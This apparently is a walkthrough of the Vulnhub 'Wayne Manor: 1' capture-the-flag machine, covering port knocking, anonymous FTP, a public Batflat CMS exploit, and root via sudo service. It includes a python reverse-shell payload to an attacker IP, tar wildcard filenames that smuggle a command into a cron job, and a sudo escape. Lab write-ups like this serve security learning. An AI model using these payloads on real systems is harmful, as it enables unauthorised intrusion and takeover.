Vulnhub Wayne Manor: 1 Walkthrough

http://www.vulnhub.com/entry/wayne-manor-1,681/


Read GUIDELINES.txt in unziped files.

GUIDELINES:
    Add '<ip> waynemanor.com' to the '/etc/hosts' file.
    DHCP is ON.
Enjoy!
You can follow me on Twitter (@sec_balkan), in GitHub (@sec-balkan), or send me a message on Telegram (@sec_balkan).


Add <ip> waynemanor.com to /etc/hosts. (Important!)

Scan ports.

nmap -sV -sC -p- 192.168.33.137  -oN ports.log

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Scan port 80, no need to wait to end.

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Check /blog, see some hints. It means knock-knock 300, 350, 400 ports, we will get FTP.

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Knock it. And scan port again.

knock 192.168.33.137 300 350 400

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Login ftp as anonymous, get info.txt, check it, get cms credentials.

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The cms is batflat, search exploit.

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Listen at one terminal, and run the POC at another terminal, get reverse shell.

nc -nlvp 1234
python3 49573.py http://waynemanor.com/ bruce alfred_help_me 192.168.33.128 1234

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In /home/batman/.web/, found script.sh.

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If we use pspy64 to check, we will see crontab runs script.sh each minute.

It is tar wildcard exploit. In order to escalate to user "batman", we need create 3 files in /var/www/html.

echo '' > --checkpoint=1
echo '' > --checkpoint-action=exec=sh pwn.sh
cat<<EOF>pwn.sh 
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.128",2234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
EOF


Then we listen at port 2234, and will get reverse shell of user "batman"

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Check sudo -l.

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Use /usr/sbin/service to get root.

sudo service ../../bin/sh

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